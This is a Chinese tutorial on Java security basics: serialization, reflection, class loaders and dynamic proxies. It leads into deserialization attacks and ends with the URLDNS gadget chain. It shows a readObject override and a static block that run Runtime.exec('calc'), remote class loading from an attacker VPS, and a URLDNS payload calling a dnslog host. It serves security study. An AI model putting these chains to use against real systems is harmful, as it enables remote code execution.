序列化是一种把对象的状态转化成字节流的机制
条件:只有实现了Serializable或者Externalizable接口的类的对象才能被序列化为字节序列
创建ObjectOutPutStream:创建一个ObjectOutPutStream对象,用于将对象序列化为字节流
写入对象:使用writeObject()方法将对象写入到输出流中
静态成员变量不可被序列化
transient标识的对象成员变量不参与序列化
好处:
想把内存中的对象保存到一个文件中或者数据库中的时候
想用套接字在网络上传送对象的时候
想通过RMI传输对象的时候
示例代码,序列化生成ser.bin文件
import java.io.*;
public class Main {
public static void main(String[] args) throws Exception {
Dog serializa_dog = new Dog("旺财");
serializa serializa = new serializa();
serializa.SerializaFile(serializa_dog, "ser.bin");
}
}
class serializa {
//序列化
public void SerializaFile(Object obj,String path) throws Exception{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(path));
objectOutputStream.writeObject(obj);
}
}
class Dog implements Serializable {
private String name;
public int age;
protected String color;
public Dog(){}
public Dog(String name){
this.name=name;
}
public void Say(){
System.out.println(name+" "+"汪汪汪");
}
public void Say(String content){
System.out.println(name+" "+content);
}
@Override
public String toString() {
return "reflection.reflection.Dog{" +
"name='" + name + '\'' +
'}';
}
}
反序列化是序列化相反的过程,把序列化成的字节流用来在内存中重新创建一个实际的Java对象
条件:
创建ObjectInputStream:创建一个ObjectInputStream对象,用户从字节流中读取对象
读取对象:使用readObject()方法从输入流中读取对象
好处:
将序列化的文件流读取进行反序列化还原
示例代码:
import java.io.*;
public class Main {
public static void main(String[] args) throws Exception {
Dog serializa_dog = new Dog("旺财");
serializa serializa = new serializa();
Dog unserializa_dog = (Dog) serializa.unserializafromFile("ser.bin");
System.out.println(unserializa_dog);
}
}
class serializa {
//反序列化
public Object unserializafromFile(String path) throws Exception{
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(path));
return objectInputStream.readObject();
}
}
class Dog implements Serializable {
private String name;
public int age;
protected String color;
public Dog(){}
public Dog(String name){
this.name=name;
}
public void Say(){
System.out.println(name+" "+"汪汪汪");
}
public void Say(String content){
System.out.println(name+" "+content);
}
@Override
public String toString() {
return "reflection.reflection.Dog{" +
"name='" + name + '\'' +
'}';
}
}
反序列化所造成的安全问题
反序列化类重写了readObject()方法
输出调用toString方法
Java原生反序列化出现安全问题主要是readObject()方法被重写,readObject是Java在反序列化时会自动调用的方法
在PHP中也有类似的方法,即在PHP反序列化时会自动调用一些魔术方法,例如__wakeup等,调用重写的readObject()方法,为什么会产生问题呢,如果里面有一些恶意代码,那就被执行了
示例代码,弹出计算器,执行恶意代码
import java.io.*;
public class Main {
public static void main(String[] args) throws Exception {
Dog serializa_dog = new Dog("旺财");
serializa serializa = new serializa();
serializa.SerializaFile(serializa_dog, "ser.bin");
Dog unserializa_dog = (Dog) serializa.unserializafromFile("ser.bin");
System.out.println(unserializa_dog);
}
}
class serializa {
//序列化
public void SerializaFile(Object obj,String path) throws Exception{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(path));
objectOutputStream.writeObject(obj);
}
//反序列化
public Object unserializafromFile(String path) throws Exception{
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(path));
return objectInputStream.readObject();
}
}
class Dog implements Serializable {
private String name;
public int age;
protected String color;
public Dog(){}
public Dog(String name){
this.name=name;
}
public void Say(){
System.out.println(name+" "+"汪汪汪");
}
public void Say(String content){
System.out.println(name+" "+content);
}
@Override
public String toString() {
return "reflection.reflection.Dog{" +
"name='" + name + '\'' +
'}';
}
private void readObject(ObjectInputStream ois) throws Exception{
ois.defaultReadObject();
Runtime.getRuntime().exec("calc");//恶意代码
}
}
在原生的readObject无法满足自身需求时,面向对象编程提供了方法的重写,可以按照自己的逻辑来实现需求。
反射是Java语言的一个特性,它允许程序在运行时(注意不是编译的时候)来进行自我检查并且对内部的成员进行操作
反射是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法,对于任意一个对象,都能够调用它的任意方法和属性,这种动态获取信息以及动态调用对象方法的功能称为Java语言的反射机制
获取任意类的名称、package信息、所有属性、方法、注解、类型、类加载器等
获取任意对象的属性,并且能改变对象的属性
调用任意对象的方法
动态修改类的属性
增加程序的灵活性,避免将程序写死到代码里
代码简洁,提高代码的复用率,外部调用方便
对于任意一个类,都能够知道这个类的所有属性和方法
对于任意一个对象,都能够调用它的任意一个方法
正常写类,我们是知道类的内部属性和方法
反射其实就是解决我们不知道类内部有什么情况下去修改类的属性的
private String name;
public int age;
protected String color;
public Person(){}
public Person(String name,int age){
this.name=name;
this.age=age;
}
public void Say(){
System.out.println(this.name+"说自己今年"+this.age+"岁了");
}
public void Say(String content){
System.out.println(this.name+"说"+content);
}
@Override
public String toString() {
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
", color='" + color + '\'' +
'}';
}
}
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
public class reflection {
public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {
/*无参创建原生类
* Class.forName()方法是Java中动态加载类的一个常用方法
* 它通过传入一个类的全限定名作为参数,返回一个表示该类的Class对象
* */ Class<?> person = Class.forName("Person");
System.out.println(person);
//无参数地创建了"Person"类的一个实例对象
// newInstance不能传递参数
Object o = person.newInstance();
System.out.println(o);
//有参数地创建了"Person"类的一个实例对象
Constructor ps=person.getDeclaredConstructor(String.class,int.class);
Object o1 = ps.newInstance("张三", 18);
System.out.println(o1);
}
}
class Person {
private String name;
public int age;
protected String color;
public Person(){}
public Person(String name,int age){
this.name=name;
this.age=age;
}
public void Say(){
System.out.println(this.name+"说自己今年"+this.age+"岁了");
}
public void Say(String content){
System.out.println(this.name+"说"+content);
}
private void SayHello(){
System.out.println("Hello");
}
@Override
public String toString() {
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
", color='" + color + '\'' +
'}';
}
}
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class reflection {
public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, NoSuchFieldException {
/*无参创建原生类
* Class.forName()方法是Java中动态加载类的一个常用方法
* 它通过传入一个类的全限定名作为参数,返回一个表示该类的Class对象
* */
Class<?> person = Class.forName("Person");
System.out.println(person);
//无参数地创建了"Person"类的一个实例对象
Object o = person.newInstance();
System.out.println(o);
//有参数地创建了"Person"类的一个实例对象
Constructor ps=person.getDeclaredConstructor(String.class,int.class);
Object o1 = ps.newInstance("张三", 18);
System.out.println(o1);
//获取类的属性
//getFields只能获取到public修饰的属性
Field[] fields = person.getFields();
for (Field field : fields) {
System.out.println(field);
}
System.out.println("---------------------------");
//getDeclaredFields获取所有属性,包括private修饰的属性
Field[] declaredFields = person.getDeclaredFields();
for (Field declaredField : declaredFields) {
System.out.println(declaredField);
}
System.out.println("---------------------------");
//单独获取public修饰的属性
Field age = person.getField("age");
System.out.println(age);
System.out.println("---------------------------");
//单独获取private修饰的属性
Field name = person.getDeclaredField("name");
System.out.println(name);
System.out.println("---------------------------");
//修改final修饰的变量
Person person = new Person();
System.out.println(Person.test);
Field declaredField = person.getClass().getDeclaredField("test");
Field modifiers = declaredField.getClass().getDeclaredField("modifiers");
modifiers.setAccessible(true);
modifiers.setInt(declaredField,declaredField.getModifiers() & ~Modifier.FINAL);
declaredField.setAccessible(true);
declaredField.set(person,"121312daw");
// System.out.println(Person.test);
System.out.println(declaredField.get(person));
}
}
class Person {
private String name;
public int age;
public static final String test = "abc";
protected String color;
public Person(){}
public Person(String name,int age){
this.name=name;
this.age=age;
}
public void Say(){
System.out.println(this.name+"说自己今年"+this.age+"岁了");
}
public void Say(String content){
System.out.println(this.name+"说"+content);
}
private void SayHello(){
System.out.println("Hello");
}
@Override
public String toString() {
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
", color='" + color + '\'' +
'}';
}
}
//获取类的方法
//getMethods只能获取到public修饰的方法
Method[] methods = person.getMethods();
for (Method method : methods) {
System.out.println(method);
}
//getDeclaredMethods获取所有方法,包括private修饰的方法
System.out.println("---------------------------");
Method[] declaredMethods = person.getDeclaredMethods();
for (Method declaredMethod : declaredMethods) {
System.out.println(declaredMethod);
}
System.out.println("---------------------------");
//单独获取public修饰的方法
Method say = person.getMethod("Say");
System.out.println(say);
System.out.println("---------------------------");
//单独获取private修饰的方法
Method say1 = person.getDeclaredMethod("SayHello");
System.out.println(say1);
//获取有参数的方法
Method say2 = person.getMethod("Say", String.class);
System.out.println(say2);
//获取类的属性,因为是私有属性,所以需要设置权限,针对的对象是上面实例化的对象
Field name = person.getDeclaredField("name");
name.setAccessible(true);
name.set(o1,"王五");
System.out.println(o1);
//获取类的属性,因为是公有属性,所以不需要设置权限,针对的对象是上面实例化的对象
Field age = person.getField("age");
age.set(o1,20);
System.out.println(o1);
//调用公共方法,无参调用
say.invoke(o1);
//调用有参方法
say2.invoke(o1,"你好");
//调用私有方法
say1.setAccessible(true);
say1.invoke(o1);
类加载器是一个负责加载类的对象,用于实现类加载过程中的加载一步,每个Java类都有一个引用执行加载它的classLoader
简单讲:主要作用是加载Java类的字节码到JVM中,在内存中生成该类的对象
启动类加载器 → 扩展类加载器 → 应用类加载器(面向用户)→ 自定义类加载器
protected Class<?> loadClass(String name, boolean resolve)
throws ClassNotFoundException
{
synchronized (getClassLoadingLock(name)) {
//首先,检查该类是否已经加载过
Class c = findLoadedClass(name);
if (c == null) {
//如果 c 为 null,则说明该类没有被加载过
long t0 = System.nanoTime();
try {
if (parent != null) {
//当父类的加载器不为空,则通过父类的loadClass来加载该类
c = parent.loadClass(name, false);
} else {
//当父类的加载器为空,则调用启动类加载器来加载该类
c = findBootstrapClassOrNull(name);
}
} catch (ClassNotFoundException e) {
//非空父类的类加载器无法找到相应的类,则抛出异常
}
if (c == null) {
//当父类加载器无法加载时,则调用findClass方法来加载该类
//用户可通过覆写该方法,来自定义类加载器
long t1 = System.nanoTime();
c = findClass(name);
//用于统计类加载器相关的信息
sun.misc.PerfCounter.getParentDelegationTime().addTime(t1 - t0);
sun.misc.PerfCounter.getFindClassTime().addElapsedTimeFrom(t1);
sun.misc.PerfCounter.getFindClasses().increment();
}
}
if (resolve) {
//对类进行link操作
resolveClass(c);
}
return c;
}
}
Class.forName
如上面反射中用到的Class.forName(”Person”);
ClassLoader.loadClass不进行初始化
底层实现逻辑(继承关系):
ClassLoader → SecureClassLoader → URLClassLoader → APPClassLoader
方法执行:
loadClass → findClass → defineClass (从字节码文件加载类)
支持的协议:
file、http、jar包
//要加载的类
public class Person {
static int age;
static String name;
static {
System.out.println("静态代码块");
}
public Person()
{
System.out.println("无参构造函数");
}
}
//javac Person.java 生成字节码文件放到指定位置
类加载器
import java.net.MalformedURLException;
import java.net.URLClassLoader;
import java.net.URL;
public class ClassLoaders {
public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, InstantiationException, IllegalAccessException {
URLClassLoader cl = new URLClassLoader(new URL[]{new URL("file:///路径\\")});
Class<?> c = cl.loadClass("Person");
Object obj = c.newInstance();
}
}
将Person类放到远程服务器,远程调用依然可以执行
import java.net.MalformedURLException;
import java.net.URLClassLoader;
import java.net.URL;
public class ClassLoaders {
public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, InstantiationException, IllegalAccessException {
URLClassLoader cl = new URLClassLoader(new URL[]{new URL("http://VPSIP/")});
Class<?> c = cl.loadClass("Person");
Object obj = c.newInstance();
}
}
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
public class ClassLoaders {
public static void main(String[] args) throws IOException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {
ClassLoader cl = ClassLoader.getSystemClassLoader();
// 反射获取defineClass方法
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
// 读取字节码
byte [] code = Files.readAllBytes(Paths.get("E:\\IDEA\\JAVA_project\\Person.class"));
// 加载字节码
Class person = (Class) defineClass.invoke(cl, "Person", code, 0, code.length);
// 实例化
person.newInstance();
}
}
利用:代码块中放恶意代码
import java.io.IOException;
public class Person {
static int age;
static String name;
static {
System.out.println("静态代码块");
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
public Person()
{
System.out.println("无参构造函数");
}
}
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
public class Main {
public static void main(String[] args) {
InvocationHandler handler = new InvocationHandler() {
// 代理类调用的方法,参数与返回值和原方法相同
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println(method);
if (method.getName().equals("morning")) {
System.out.println("Good morning, " + args[0]);
}
return null;
}
};
// 生成动态代理类
Hello hello = (Hello) Proxy.newProxyInstance(
Hello.class.getClassLoader(), // 传入ClassLoader
new Class[] { Hello.class }, // 传入要实现的接口
handler); // 传入处理调用方法的InvocationHandler
// 通过代理类调用 morning 方法
hello.morning("Bob");
}
}
interface Hello {
void morning(String name);
}
入口类:可序列化,重写readObject方法,接收任意对象参数
终点类(危险函数):Runtime.getRuntime().exec(”xx”);(但是该类不可被序列化)
类加载执行危险函数
流程如下:
入口类A反序列化,调用readObject方法,调用了参数C的X方法,invoke方法
目标类B,想要执行B的X方法
所以把C变成B即可走到X方法
URLDNS
URLDNS是ysoserial中最简单的一条利用链,因为其如下的优点,非常适合我们在检测反序列化漏洞时使用:
使用Java内置的类构造,对第三方库没有依赖
在目标没有回显的时候,能够通过DNS请求得知是否存在反序列化漏洞
准备
Java反序列化的挖掘,主要分为三个方面:
入口类
目标类
执行函数(rce、文件上传、SSRF)
分析
HashMap类中,重写了反序列化的方法,即readObject()方法
readObject()方法调用了hash()方法
hash()方法调用了Key值的hashCode方法。(Object key可控,即需要寻找一个类中存在hashcode方法且可以序列化)
定位到URL类,存在hashcode方法且可以序列化

跟进RUL类的hashcode方法,进入getHostAddres方法。发现调用了getByName(host)获取目标IP地址,会发送一次DNS请求

思路总结
HashMap → readObject()
HashMap → hash()
URL → hashCode()
URLStreamHandler → hashCode()
URLStreamHandler → getHostAddress()
InetAddress → getByName()
小插曲
put方法也会调用hash()方法,我们的dnsLog也会受到请求,迷惑我们以为攻击成功,其实不然。
但是请求一次后hash值会改变,这样就无法执行hashCode方法了
所以在写链子的时候,就用到了反射这个知识点,修改URL类中hashCo的值
反序列化链
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, NoSuchFieldException, IllegalAccessException {
//Person person = new Person("zhangsan", 24, 1213);
//支持序列化,重写了readObject方法,是一个很好的入口类。
HashMap<URL, Integer> hashmap = new HashMap<>();
URL url = new URL("http://shenyuan8.dnslog.pw");
Class c = url.getClass();
Constructor constructor = c.getConstructor(String.class);
//修改URL类中的私有变量hashCode
Field code = c.getDeclaredField("hashCode");
code.setAccessible(true);
code.set(url,123);
hashmap.put(url,1);
code.set(url,-1);
serialize(hashmap);
}